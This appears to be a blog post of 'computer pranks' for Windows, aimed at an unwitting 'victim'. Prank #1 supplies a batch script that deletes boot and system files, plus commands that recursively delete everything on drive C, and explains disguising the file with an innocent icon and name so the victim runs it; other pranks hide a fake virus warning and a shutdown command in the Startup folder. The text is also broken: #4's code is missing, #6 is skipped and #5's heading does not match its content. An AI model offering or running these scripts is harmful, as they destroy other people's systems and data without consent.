My Favourite Computer Pranks


Today you are going to see my favourite computer pranks in action. No matter what you are, you'll love these pranks.

Some of these pranks are going to make the victims cry. So please use them at your own risk.

Let's go to the number one prank (These pranks are not in any order):

Prank #1: Shut Down a Computer Forever


Open the notepad, copy the below code. 
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Paste it in the notepad and save it as "hack.bat" or "hack.cmd" (or any other file name with .bat extension).

Normally, people wont execute weird looking .bat files. So we want to change it's look. To do that, right click on the .bat file and select "create shortcut".

Then right click on the shortcut and select "properties". Click on "change icon" and then select a good looking unsuspicious icon and click "OK". Then click on "OK". You can also change it's name to get more "legit" look.

When the victim executes the file ( hack.bat or hack.cmd), it will shut down the computer and delete all the files needed to reboot and restart.

Remember: This prank will render the victim's machine unusable.

You can also use the below code instead of the above mentioned code:
cmd /c del c:\windows\* /F /S /Q
cmd /c del c:\* /F /S /Q
Let's move to another prank. Are you ready?

Prank #2: Fake Warning Message


Open notepad and then copy the below code:
msg * Your computer has detected a virus.
msg * To remove the virus click OK or close this box
msg * Your Hard drives are now being formatted
msg * Please wait ...........
msg * Trolled, ha ha ha ha......

Paste it in the notepad and save it as "prank.bat" or "prank.cmd"

Then copy this file to victims machine and then right-click on the file. Goto "Properties" and enable "hidden". Then Click on OK.

Then move the file to C>Users>User>AppData>Roaming>Microsoft>Windows>Start Menu>Programs>Startup.

Then goto folder options and click on "do not show hidden files".

When the victim reboots his/her computer, the prank.bat or prank.cmd  will get executed. It will display following messages on victims computer (see the image below):



Prank #3: Change Keyboard Layout


If you are using victims computer, goto "Control Panel" .


Then click on "Clock, Language, and Region".


Then click on "Region and Language".


Then select the "Keyboards and Languages" tab.



Then click on "Change Keyboards". (Text Services and Input Languages window appears)


Then click on "Add" button.


Now enable "United States-Dvorak" and then click on "ok", "ok".

Now click on the language bar (on task bar ) and enable "United States-Dvorak".

It's time to return the computer to the victim.

When the victim types something, for example, if he/she types pizza, it will display "lc;;a".

Have fun!

Prank #4: DoS (Denial Of Service)

When the victim reboots their computer, in the background, the bat file will keep opening its self until the computer freezes!

Prank #5: Unlimited Number Of Folders

Then right click on the startup folder and select "New" and then "Shortcut".

Paste the following in the "type the location of the item" field:
shutdown -s -t 1925000 -c "System error: please get out"

Then click "Next". Type the name of the shortcut and click "finish".

When the victim reboots the machine, it will show a shut down notification with the message-"System error: please get out".

Prank #7: Microsoft Word Prank


What about a prank that displays a different word instead of the typed word? Let's do it.

If you are using victims computer, open Microsoft Word and then goto "Tools"--->"AutoCorrect Options".

Then in the "Replace" field, type a common word such as and, I, the etc. Then in the "With" field, type something crazy!
